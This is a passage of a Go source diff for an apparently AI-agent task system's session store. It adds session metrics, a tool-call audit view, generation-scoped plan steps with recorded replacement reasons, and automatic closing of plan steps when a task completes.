SELECT session_id::uuid AS sid, COUNT(*) AS cnt
|
||||||
|
FROM agent_activity
|
||||||
|
WHERE session_id IS NOT NULL AND session_id <> ''
|
||||||
|
GROUP BY session_id
|
||||||
|
) act ON act.sid = s.id
|
||||||
|
%s
|
||||||
|
ORDER BY s.last_active_at DESC
|
||||||
|
LIMIT %s`, whereClause, limitArg)
|
||||||
|
|
||||||
|
rows, err := s.pool.Query(ctx, query, args...)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
@@ -342,7 +470,8 @@ func (s *store) listSessions(ctx context.Context) ([]session, error) {
|
|||||||
var sess session
|
var sess session
|
||||||
if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
||||||
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
||||||
&sess.CreatedAt, &sess.LastActiveAt); err != nil {
|
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
|
||||||
|
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
out = append(out, sess)
|
out = append(out, sess)
|
||||||
@@ -356,18 +485,102 @@ func (s *store) getSession(ctx context.Context, id string) (*session, error) {
|
|||||||
}
|
}
|
||||||
var sess session
|
var sess session
|
||||||
err := s.pool.QueryRow(ctx,
|
err := s.pool.QueryRow(ctx,
|
||||||
`SELECT id, title, actor, goal, status, COALESCE(outcome, ''), summary,
|
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
||||||
COALESCE(entity_id::text, ''), 0, created_at, last_active_at
|
COALESCE(s.entity_id::text, ''), 0, COALESCE(s.blocker, ''),
|
||||||
FROM agent_sessions WHERE id = $1`, id).
|
s.created_at, s.last_active_at, s.closed_at,
|
||||||
|
COALESCE(msg.cnt, 0),
|
||||||
|
COALESCE(act.cnt, 0),
|
||||||
|
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
|
||||||
|
FROM agent_sessions s
|
||||||
|
LEFT JOIN (
|
||||||
|
SELECT session_id, COUNT(*) AS cnt
|
||||||
|
FROM agent_messages
|
||||||
|
WHERE session_id = $1::uuid
|
||||||
|
GROUP BY session_id
|
||||||
|
) msg ON msg.session_id = s.id
|
||||||
|
LEFT JOIN (
|
||||||
|
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
|
||||||
|
FROM agent_activity
|
||||||
|
WHERE session_id IS NOT NULL AND session_id <> ''
|
||||||
|
AND session_id::uuid = $1::uuid
|
||||||
|
GROUP BY session_id
|
||||||
|
) act ON act.sid = s.id
|
||||||
|
WHERE s.id = $1`, id).
|
||||||
Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
||||||
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
||||||
&sess.CreatedAt, &sess.LastActiveAt)
|
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
|
||||||
|
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
return &sess, nil
|
return &sess, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// recentPartialSessions returns recent sessions (within `since`) whose outcome
|
||||||
|
// is partial or failed, excluding the current session. Used by the set_goal
|
||||||
|
// handler to surface prior unfinished work on the same problem — three
|
||||||
|
// duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) all bounced off
|
||||||
|
// the classifier because each new session started from scratch. Surfacing the
|
||||||
|
// prior session's goal + summary at set_goal time lets the agent pick up the
|
||||||
|
// thread instead of rediscovering it. See
|
||||||
|
// plans/2026-07-20-session-review-ten-sessions.md P1.3.
|
||||||
|
func (s *store) recentPartialSessions(ctx context.Context, excludeSessionID string, since time.Duration) ([]session, error) {
|
||||||
|
if s == nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
rows, err := s.pool.Query(ctx,
|
||||||
|
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
||||||
|
COALESCE(s.entity_id::text, ''),
|
||||||
|
COALESCE(pa.cnt, 0),
|
||||||
|
COALESCE(s.blocker, ''),
|
||||||
|
s.created_at, s.last_active_at, s.closed_at,
|
||||||
|
COALESCE(msg.cnt, 0),
|
||||||
|
COALESCE(act.cnt, 0),
|
||||||
|
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
|
||||||
|
FROM agent_sessions s
|
||||||
|
LEFT JOIN (
|
||||||
|
SELECT l.session_id, COUNT(*) AS cnt
|
||||||
|
FROM nomos_plan_executions l
|
||||||
|
JOIN executions e ON e.entity_id = l.execution_id
|
||||||
|
WHERE e.status = 'pending_approval'
|
||||||
|
GROUP BY l.session_id
|
||||||
|
) pa ON pa.session_id = s.id
|
||||||
|
LEFT JOIN (
|
||||||
|
SELECT session_id, COUNT(*) AS cnt
|
||||||
|
FROM agent_messages
|
||||||
|
GROUP BY session_id
|
||||||
|
) msg ON msg.session_id = s.id
|
||||||
|
LEFT JOIN (
|
||||||
|
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
|
||||||
|
FROM agent_activity
|
||||||
|
WHERE session_id IS NOT NULL AND session_id <> ''
|
||||||
|
GROUP BY session_id
|
||||||
|
) act ON act.sid = s.id
|
||||||
|
WHERE s.id <> $1
|
||||||
|
AND s.last_active_at >= now() - ($2 * interval '1 second')
|
||||||
|
AND COALESCE(s.outcome, '') IN ('partial', 'failed')
|
||||||
|
ORDER BY s.last_active_at DESC
|
||||||
|
LIMIT 10`,
|
||||||
|
excludeSessionID, since.Seconds())
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var out []session
|
||||||
|
for rows.Next() {
|
||||||
|
var sess session
|
||||||
|
if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
||||||
|
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
||||||
|
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
|
||||||
|
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
out = append(out, sess)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
// getMessages returns a session's ENTIRE message history, unbounded — used
|
// getMessages returns a session's ENTIRE message history, unbounded — used
|
||||||
// for the UI's own transcript view (GET /sessions/{id}), where the operator
|
// for the UI's own transcript view (GET /sessions/{id}), where the operator
|
||||||
// should be able to see everything a task has done regardless of how long
|
// should be able to see everything a task has done regardless of how long
|
||||||
@@ -397,6 +610,77 @@ func (s *store) getMessages(ctx context.Context, sessionID string) ([]message, e
|
|||||||
return out, rows.Err()
|
return out, rows.Err()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// SessionToolCall is the flat view of one tool call as exposed by
|
||||||
|
// GET /sessions/{id}/tool_calls. Mirrors the persisted tool_call shape but
|
||||||
|
// drops the message-shell wrapping. Args/Result are kept as RawMessage so
|
||||||
|
// the caller can decide how to render them (the audit case wanted raw
|
||||||
|
// text sizes, but other callers may want full JSON).
|
||||||
|
type SessionToolCall struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Name string `json:"name"`
|
||||||
|
Args json.RawMessage `json:"args,omitempty"`
|
||||||
|
Result json.RawMessage `json:"result,omitempty"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
Type string `json:"type,omitempty"` // "tool_use" or "tool_result"
|
||||||
|
MessageID string `json:"message_id"`
|
||||||
|
Role string `json:"role"`
|
||||||
|
Seq int `json:"seq"` // 1-indexed position within the session (across all messages)
|
||||||
|
CreatedAt time.Time `json:"created_at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// getSessionToolCalls walks a session's messages and returns a flat list of
|
||||||
|
// tool calls in chronological order, without the two-level message nesting.
|
||||||
|
// The audit at plans/2026-07-20-session-review-ten-sessions.md P2.10 had to
|
||||||
|
// write Python to walk messages[].content.tool_calls[]; this method makes
|
||||||
|
// it a single SQL + Go walk on the server. Each tool_use/tool_result pair
|
||||||
|
// is emitted as two rows (same id, different Type), preserving the
|
||||||
|
// persisted shape — clients that want the merged shape can group by ID.
|
||||||
|
func (s *store) getSessionToolCalls(ctx context.Context, sessionID string) ([]SessionToolCall, error) {
|
||||||
|
if s == nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
msgs, err := s.getMessages(ctx, sessionID)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
var out []SessionToolCall
|
||||||
|
seq := 0
|
||||||
|
for _, m := range msgs {
|
||||||
|
var payload struct {
|
||||||
|
ToolCalls []struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Type string `json:"type"`
|
||||||
|
Name string `json:"name"`
|
||||||
|
Args json.RawMessage `json:"args"`
|
||||||
|
Result json.RawMessage `json:"result"`
|
||||||
|
Error string `json:"error"`
|
||||||
|
} `json:"tool_calls"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(m.Content, &payload); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for _, tc := range payload.ToolCalls {
|
||||||
|
if tc.ID == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seq++
|
||||||
|
out = append(out, SessionToolCall{
|
||||||
|
ID: tc.ID,
|
||||||
|
Name: tc.Name,
|
||||||
|
Args: tc.Args,
|
||||||
|
Result: tc.Result,
|
||||||
|
Error: tc.Error,
|
||||||
|
Type: tc.Type,
|
||||||
|
MessageID: m.ID,
|
||||||
|
Role: m.Role,
|
||||||
|
Seq: seq,
|
||||||
|
CreatedAt: m.CreatedAt,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
// getRecentMessages returns the most recent `limit` messages for sessionID,
|
// getRecentMessages returns the most recent `limit` messages for sessionID,
|
||||||
// in chronological order, plus whether older messages exist beyond that
|
// in chronological order, plus whether older messages exist beyond that
|
||||||
// window. Used specifically for LLM replay (chatWith): without a bound,
|
// window. Used specifically for LLM replay (chatWith): without a bound,
|
||||||
@@ -523,12 +807,13 @@ func (s *store) setGoal(ctx context.Context, sessionID, goal string) error {
|
|||||||
// Replace any prior plan steps (done/running/pending/...) as `replaced`.
|
// Replace any prior plan steps (done/running/pending/...) as `replaced`.
|
||||||
// The rows are kept for the generation counter + audit trail; proposePlan
|
// The rows are kept for the generation counter + audit trail; proposePlan
|
||||||
// excludes `replaced` from its in-flight check, so the next propose_plan
|
// excludes `replaced` from its in-flight check, so the next propose_plan
|
||||||
// takes the fresh-generation path.
|
// takes the fresh-generation path. replaced_reason records the cause
|
||||||
|
// (2026-08-04 plan-step integrity audit).
|
||||||
s.pool.Exec(ctx,
|
s.pool.Exec(ctx,
|
||||||
`UPDATE session_plan_steps SET status = 'replaced', finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status <> 'replaced'`,
|
`UPDATE session_plan_steps SET status = 'replaced', replaced_reason = $2, finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status <> 'replaced'`,
|
||||||
sessionID)
|
sessionID, "goal superseded")
|
||||||
if _, err := s.pool.Exec(ctx,
|
if _, err := s.pool.Exec(ctx,
|
||||||
`UPDATE agent_sessions SET goal = $2, status = 'executing', last_active_at = now() WHERE id = $1`,
|
`UPDATE agent_sessions SET goal = $2, status = 'executing', title = $2, last_active_at = now() WHERE id = $1`,
|
||||||
sessionID, goal); err != nil {
|
sessionID, goal); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
@@ -566,6 +851,14 @@ func (s *store) reopenSession(ctx context.Context, sessionID string) bool {
|
|||||||
s.pool.Exec(ctx,
|
s.pool.Exec(ctx,
|
||||||
`UPDATE agent_sessions SET status = 'executing', outcome = NULL, summary = NULL, last_active_at = now() WHERE id = $1`,
|
`UPDATE agent_sessions SET status = 'executing', outcome = NULL, summary = NULL, last_active_at = now() WHERE id = $1`,
|
||||||
sessionID)
|
sessionID)
|
||||||
|
// Mark the prior plan's steps as replaced so the P1 plan-first gate in
|
||||||
|
// classifyAndGate forces a fresh propose_plan before any run. Without
|
||||||
|
// this, the agent could resume a session and call run against the old
|
||||||
|
// (completed) plan — exactly what caused the ZimaOS continuation to
|
||||||
|
// have 81 ad-hoc tool calls with zero plan structure (2026-08-04).
|
||||||
|
s.pool.Exec(ctx,
|
||||||
|
`UPDATE session_plan_steps SET status = 'replaced', replaced_reason = $2, finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status <> 'replaced'`,
|
||||||
|
sessionID, "session reopened — awaiting new plan")
|
||||||
_ = observability.Event(ctx, sqlcgen.New(s.pool), "task.reopened", s.taskEntityPtr(ctx, sessionID),
|
_ = observability.Event(ctx, sqlcgen.New(s.pool), "task.reopened", s.taskEntityPtr(ctx, sessionID),
|
||||||
"info", "nomos", sessionID, map[string]any{"prior_status": currentStatus})
|
"info", "nomos", sessionID, map[string]any{"prior_status": currentStatus})
|
||||||
return true
|
return true
|
||||||
@@ -603,16 +896,15 @@ func (s *store) proposePlan(ctx context.Context, sessionID string, steps []planS
|
|||||||
}
|
}
|
||||||
defer tx.Rollback(ctx)
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
var startSeq int
|
|
||||||
var anyStarted bool
|
var anyStarted bool
|
||||||
// `replaced` steps (from a prior plan generation superseded by a
|
// `replaced` steps (from a prior plan generation superseded by a
|
||||||
// follow-up sub-task — see reopenSession) are excluded: they prove a
|
// follow-up sub-task — see setGoal/reopenSession) are excluded: they
|
||||||
// prior plan was completed and superseded, not that a plan is in flight.
|
// prove a prior plan was completed and superseded, not that a plan is in
|
||||||
// Without this exclusion, reopenSession's `replaced` marking would be
|
// flight. Without this exclusion, setGoal's `replaced` marking would be
|
||||||
// useless — propose_plan would still refuse on the follow-up.
|
// useless — propose_plan would still refuse on the follow-up.
|
||||||
if err := tx.QueryRow(ctx, `
|
if err := tx.QueryRow(ctx, `
|
||||||
SELECT COALESCE(max(seq), 0), COALESCE(bool_or(status NOT IN ('pending', 'replaced')), false)
|
SELECT COALESCE(bool_or(status NOT IN ('pending', 'replaced')), false)
|
||||||
FROM session_plan_steps WHERE session_id = $1`, sessionID).Scan(&startSeq, &anyStarted); err != nil {
|
FROM session_plan_steps WHERE session_id = $1`, sessionID).Scan(&anyStarted); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
if anyStarted {
|
if anyStarted {
|
||||||
@@ -622,35 +914,29 @@ func (s *store) proposePlan(ctx context.Context, sessionID string, steps []planS
|
|||||||
return nil, errPlanInFlight
|
return nil, errPlanInFlight
|
||||||
}
|
}
|
||||||
// Fresh/revise: mark any prior PENDING steps as `replaced` (not DELETE).
|
// Fresh/revise: mark any prior PENDING steps as `replaced` (not DELETE).
|
||||||
// This preserves the rows for the generation counter (MAX(generation)+1
|
// The rows are kept for the generation counter (MAX(generation)+1 below)
|
||||||
// below) and the plan_generations eval assertion. Without this, a first
|
// and the plan_generations eval assertion. `replaced` steps are excluded
|
||||||
// plan that was proposed but never executed (all pending) would be
|
// from the anyStarted check above, so they don't block this proposal.
|
||||||
// wiped, resetting the counter to 1 — making a follow-up's plan look
|
// replaced_reason records the cause — required by the plan-step integrity
|
||||||
// like generation 1 instead of 2. `replaced` steps are excluded from
|
// gate (2026-08-04 session audit).
|
||||||
// the anyStarted check above, so they don't block the fresh proposal.
|
|
||||||
if _, err := tx.Exec(ctx,
|
if _, err := tx.Exec(ctx,
|
||||||
`UPDATE session_plan_steps SET status = 'replaced', finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status = 'pending'`,
|
`UPDATE session_plan_steps SET status = 'replaced', replaced_reason = $2, finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status = 'pending'`,
|
||||||
sessionID); err != nil {
|
sessionID, "superseded by new plan generation"); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
// startSeq keeps the max(seq) from the query above: if prior steps
|
|
||||||
// exist (replaced or done), the new generation's steps start after them
|
|
||||||
// (no seq collisions across generations). If no rows exist (first plan),
|
|
||||||
// startSeq is 0 and the first step is seq 1.
|
|
||||||
|
|
||||||
// Resolve the generation number for this plan. Generation 1 is the
|
// nextGen: generation 1 for the first plan, MAX(generation)+1 for every
|
||||||
// initial plan; a genuine revise (which currently goes through the same
|
// revise/follow-up (prior rows were marked `replaced` above, not deleted,
|
||||||
// fresh-start path above because all steps were pending) resets to 1
|
// so the counter survives). seq is generation-relative — it resets to
|
||||||
// since the DELETE wiped the prior rows. The column is wired here so a
|
// 1..N for this generation, so (session_id, generation, seq) is the
|
||||||
// future explicit mid-flight revise path can increment it.
|
// addressing key and the model's 1-based update_plan_step always maps to
|
||||||
|
// the CURRENT plan after a re-plan (P0.1).
|
||||||
var nextGen int
|
var nextGen int
|
||||||
if err := tx.QueryRow(ctx, `
|
if err := tx.QueryRow(ctx, `
|
||||||
SELECT COALESCE(MAX(generation), 0) + 1
|
SELECT COALESCE(MAX(generation), 0) + 1
|
||||||
FROM session_plan_steps WHERE session_id = $1`, sessionID).Scan(&nextGen); err != nil {
|
FROM session_plan_steps WHERE session_id = $1`, sessionID).Scan(&nextGen); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
// After the DELETE above, no rows remain, so MAX(generation) is NULL →
|
|
||||||
// nextGen = 1. (Keep the query for the future revise path; it's cheap.)
|
|
||||||
|
|
||||||
out := make([]map[string]any, 0, len(steps))
|
out := make([]map[string]any, 0, len(steps))
|
||||||
for i, st := range steps {
|
for i, st := range steps {
|
||||||
@@ -658,7 +944,7 @@ func (s *store) proposePlan(ctx context.Context, sessionID string, steps []planS
|
|||||||
if st.TargetSlug != "" {
|
if st.TargetSlug != "" {
|
||||||
targetSlug = &st.TargetSlug
|
targetSlug = &st.TargetSlug
|
||||||
}
|
}
|
||||||
seq := startSeq + i + 1
|
seq := i + 1
|
||||||
var id uuid.UUID
|
var id uuid.UUID
|
||||||
if err := tx.QueryRow(ctx, `
|
if err := tx.QueryRow(ctx, `
|
||||||
INSERT INTO session_plan_steps (session_id, seq, title, detail, target_slug, generation)
|
INSERT INTO session_plan_steps (session_id, seq, title, detail, target_slug, generation)
|
||||||
@@ -697,10 +983,27 @@ func (s *store) proposePlan(ctx context.Context, sessionID string, steps []planS
|
|||||||
// be marked complete while an earlier step is still pending, preventing the
|
// be marked complete while an earlier step is still pending, preventing the
|
||||||
// agent from marking step 5 done before step 4 (observed in production: the
|
// agent from marking step 5 done before step 4 (observed in production: the
|
||||||
// agent rushed to close all steps in a final turn, in reverse order).
|
// agent rushed to close all steps in a final turn, in reverse order).
|
||||||
func (s *store) updatePlanStep(ctx context.Context, sessionID string, seq int, status, execID string) error {
|
func (s *store) updatePlanStep(ctx context.Context, sessionID string, seq int, status, execID, replacedReason string) error {
|
||||||
if s == nil || sessionID == "" || sessionID == "ephemeral" {
|
if s == nil || sessionID == "" || sessionID == "ephemeral" {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
// Resolve the CURRENT generation: seq is generation-relative (1-based
|
||||||
|
// within the plan the model is working), so (session_id, MAX(generation),
|
||||||
|
// seq) is the addressing key. A re-plan's superseded generations have
|
||||||
|
// their own seq space and must never be touched by a follow-up's
|
||||||
|
// update_plan_step — that was the root cause of "the plan was off"
|
||||||
|
// (gen-1 `replaced` rows resurrected as `done` while gen-2 work went
|
||||||
|
// unrecorded). The MAX(generation) step is by construction the active
|
||||||
|
// plan, never `replaced`, so this can't resurrect a superseded row (P0.1).
|
||||||
|
var curGen int
|
||||||
|
if err := s.pool.QueryRow(ctx,
|
||||||
|
`SELECT COALESCE(MAX(generation), 0) FROM session_plan_steps WHERE session_id = $1`,
|
||||||
|
sessionID).Scan(&curGen); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if curGen == 0 {
|
||||||
|
return errPlanStepNotFound
|
||||||
|
}
|
||||||
stamp := ""
|
stamp := ""
|
||||||
switch status {
|
switch status {
|
||||||
case "running":
|
case "running":
|
||||||
@@ -708,16 +1011,18 @@ func (s *store) updatePlanStep(ctx context.Context, sessionID string, seq int, s
|
|||||||
case "done", "failed", "skipped", "blocked", "replaced":
|
case "done", "failed", "skipped", "blocked", "replaced":
|
||||||
stamp = ", finished_at = now()"
|
stamp = ", finished_at = now()"
|
||||||
}
|
}
|
||||||
// Completion ordering: for terminal states, check that no earlier step
|
// Completion ordering, scoped to the CURRENT generation: for terminal
|
||||||
// is still pending. Running steps can start out of order (the agent
|
// states, no earlier step in THIS plan may still be pending. Running
|
||||||
// may dispatch parallel work), but completion must be sequential.
|
// steps can start out of order (the agent may dispatch parallel work),
|
||||||
|
// but completion must be sequential. Earlier generations are superseded
|
||||||
|
// and irrelevant.
|
||||||
if status == "done" || status == "failed" || status == "skipped" || status == "blocked" {
|
if status == "done" || status == "failed" || status == "skipped" || status == "blocked" {
|
||||||
var blockedBy int
|
var blockedBy int
|
||||||
if err := s.pool.QueryRow(ctx, `
|
if err := s.pool.QueryRow(ctx, `
|
||||||
SELECT COALESCE(MIN(seq), 0)
|
SELECT COALESCE(MIN(seq), 0)
|
||||||
FROM session_plan_steps
|
FROM session_plan_steps
|
||||||
WHERE session_id = $1 AND seq < $2 AND status = 'pending'`,
|
WHERE session_id = $1 AND generation = $2 AND seq < $3 AND status = 'pending'`,
|
||||||
sessionID, seq).Scan(&blockedBy); err == nil && blockedBy > 0 {
|
sessionID, curGen, seq).Scan(&blockedBy); err == nil && blockedBy > 0 {
|
||||||
return fmt.Errorf("cannot complete step %d — step %d is still pending", seq, blockedBy)
|
return fmt.Errorf("cannot complete step %d — step %d is still pending", seq, blockedBy)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -728,12 +1033,33 @@ func (s *store) updatePlanStep(ctx context.Context, sessionID string, seq int, s
|
|||||||
var stepID uuid.UUID
|
var stepID uuid.UUID
|
||||||
var targetSlug *string
|
var targetSlug *string
|
||||||
// stamp is a fixed literal from the switch above — never user input.
|
// stamp is a fixed literal from the switch above — never user input.
|
||||||
if err := s.pool.QueryRow(ctx, `
|
// status <> 'replaced' is defense-in-depth: MAX(generation) can't hold a
|
||||||
UPDATE session_plan_steps
|
// replaced row, but if it ever could, this refuses the write instead of
|
||||||
SET status = $3, execution_id = COALESCE($4, execution_id)`+stamp+`
|
// resurrecting it. No matching row → errPlanStepNotFound (stale/out-of-range seq).
|
||||||
WHERE session_id = $1 AND seq = $2
|
if status == "replaced" && replacedReason != "" {
|
||||||
RETURNING id, target_slug`, sessionID, seq, status, execPtr).Scan(&stepID, &targetSlug); err != nil {
|
err := s.pool.QueryRow(ctx, `
|
||||||
return err
|
UPDATE session_plan_steps
|
||||||
|
SET status = $4, execution_id = COALESCE($5, execution_id), replaced_reason = $6`+stamp+`
|
||||||
|
WHERE session_id = $1 AND generation = $2 AND seq = $3 AND status <> 'replaced'
|
||||||
|
RETURNING id, target_slug`, sessionID, curGen, seq, status, execPtr, replacedReason).Scan(&stepID, &targetSlug)
|
||||||
|
if err != nil {
|
||||||
|
if errors.Is(err, pgx.ErrNoRows) {
|
||||||
|
return errPlanStepNotFound
|
||||||
|
}
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
err := s.pool.QueryRow(ctx, `
|
||||||
|
UPDATE session_plan_steps
|
||||||
|
SET status = $4, execution_id = COALESCE($5, execution_id)`+stamp+`
|
||||||
|
WHERE session_id = $1 AND generation = $2 AND seq = $3 AND status <> 'replaced'
|
||||||
|
RETURNING id, target_slug`, sessionID, curGen, seq, status, execPtr).Scan(&stepID, &targetSlug)
|
||||||
|
if err != nil {
|
||||||
|
if errors.Is(err, pgx.ErrNoRows) {
|
||||||
|
return errPlanStepNotFound
|
||||||
|
}
|
||||||
|
return err
|
||||||
|
}
|
||||||
}
|
}
|
||||||
// Anchor the event to the step's target entity when it has one, else the task.
|
// Anchor the event to the step's target entity when it has one, else the task.
|
||||||
entPtr := s.taskEntityPtr(ctx, sessionID)
|
entPtr := s.taskEntityPtr(ctx, sessionID)
|
||||||
@@ -809,6 +1135,72 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
|
|||||||
s.pool.Exec(ctx, `UPDATE nomos_plan_executions SET continued_at = now()
|
s.pool.Exec(ctx, `UPDATE nomos_plan_executions SET continued_at = now()
|
||||||
WHERE session_id = $1 AND continued_at IS NULL`, sessionID)
|
WHERE session_id = $1 AND continued_at IS NULL`, sessionID)
|
||||||
|
|
||||||
|
// P1.4 (2026-07-20): auto-close any in-flight plan steps so the agent
|
||||||
|
// doesn't need an update_plan_step(running)→update_plan_step(done)
|
||||||
|
// dance for each step right before completion. Session 8c76bb3a
|
||||||
|
// (greeting + title-sync test) burned 4 update_plan_step calls for a
|
||||||
|
// one-step plan. completeTask is the authoritative terminal — any
|
||||||
|
// step still in pending/running when the task ends is closed (as
|
||||||
|
// "done" for success, "skipped" for partial/failure) so the UI's plan
|
||||||
|
// view doesn't show orphaned running steps on a completed task.
|
||||||
|
// Replaced/cancelled/blocked steps are left alone.
|
||||||
|
closeStatus := "done"
|
||||||
|
if outcome != "success" {
|
||||||
|
closeStatus = "skipped"
|
||||||
|
}
|
||||||
|
// Auto-close only the CURRENT generation's in-flight steps — superseded
|
||||||
|
// generations were already resolved when their plan was replaced. Stamp
|
||||||
|
// started_at so no `done` step is left with a NULL start time (P0.1 fix
|
||||||
|
// 5), and emit a plan.step.finished event per closed step so the panel
|
||||||
|
// converges instead of freezing on "running" after the task completes
|
||||||
|
// (P1.1: no bulk plan-step status write without a corresponding event).
|
||||||
|
type closingStep struct {
|
||||||
|
id uuid.UUID
|
||||||
|
seq int
|
||||||
|
targetSlug *string
|
||||||
|
}
|
||||||
|
var toClose []closingStep
|
||||||
|
if rows, qerr := s.pool.Query(ctx, `
|
||||||
|
SELECT id, seq, target_slug FROM session_plan_steps
|
||||||
|
WHERE session_id = $1
|
||||||
|
AND generation = (SELECT MAX(generation) FROM session_plan_steps WHERE session_id = $1)
|
||||||
|
AND status IN ('pending', 'running')`, sessionID); qerr == nil {
|
||||||
|
for rows.Next() {
|
||||||
|
var cs closingStep
|
||||||
|
if err := rows.Scan(&cs.id, &cs.seq, &cs.targetSlug); err == nil {
|
||||||
|
toClose = append(toClose, cs)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
rows.Close()
|
||||||
|
}
|
||||||
|
if _, err := s.pool.Exec(ctx, `
|
||||||
|
UPDATE session_plan_steps
|
||||||
|
SET status = $2,
|
||||||
|
started_at = COALESCE(started_at, now()),
|
||||||
|
finished_at = COALESCE(finished_at, now())
|
||||||
|
WHERE session_id = $1
|
||||||
|
AND generation = (SELECT MAX(generation) FROM session_plan_steps WHERE session_id = $1)
|
||||||
|
AND status IN ('pending', 'running')`,
|
||||||
|
sessionID, closeStatus); err != nil {
|
||||||
|
slog.Warn("nomos: completeTask failed to auto-close in-flight steps", "session", sessionID, "error", err)
|
||||||
|
}
|
||||||
|
// Emit one plan.step.finished per closed step so the live panel advances
|
||||||
|
// (mirrors updatePlanStep's event). A bulk UPDATE that skips the event
|
||||||
|
// bus guarantees a stale panel — the rule is: no plan-step status change
|
||||||
|
// without a corresponding event.
|
||||||
|
taskEnt := s.taskEntityPtr(ctx, sessionID)
|
||||||
|
for _, cs := range toClose {
|
||||||
|
evEnt := taskEnt
|
||||||
|
if cs.targetSlug != nil && *cs.targetSlug != "" {
|
||||||
|
var tid uuid.UUID
|
||||||
|
if s.pool.QueryRow(ctx, `SELECT id FROM entities WHERE slug = $1`, *cs.targetSlug).Scan(&tid) == nil {
|
||||||
|
evEnt = &tid
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ = observability.Event(ctx, sqlcgen.New(s.pool), "plan.step.finished", evEnt, "info", "nomos", sessionID,
|
||||||
|
map[string]any{"step_id": cs.id.String(), "seq": cs.seq, "status": closeStatus})
|
||||||
|
}
|
||||||
|
|
||||||
// Clean up assent and destructive window keys from autonomy_settings.
|
// Clean up assent and destructive window keys from autonomy_settings.
|
||||||
s.pool.Exec(ctx, `DELETE FROM autonomy_settings
|
s.pool.Exec(ctx, `DELETE FROM autonomy_settings
|
||||||
WHERE key LIKE '%:' || $1`, sessionID)
|
WHERE key LIKE '%:' || $1`, sessionID)
|
||||||
@@ -817,9 +1209,22 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
|
|||||||
if outcome == "failure" {
|
if outcome == "failure" {
|
||||||
status = "failed"
|
status = "failed"
|
||||||
}
|
}
|
||||||
|
// P1.5 (2026-07-20): derive a structured blocker reason when the
|
||||||
|
// outcome is partial/failed, so trend analysis can answer "why are
|
||||||
|
// sessions failing?" without parsing free-text summaries. Three
|
||||||
|
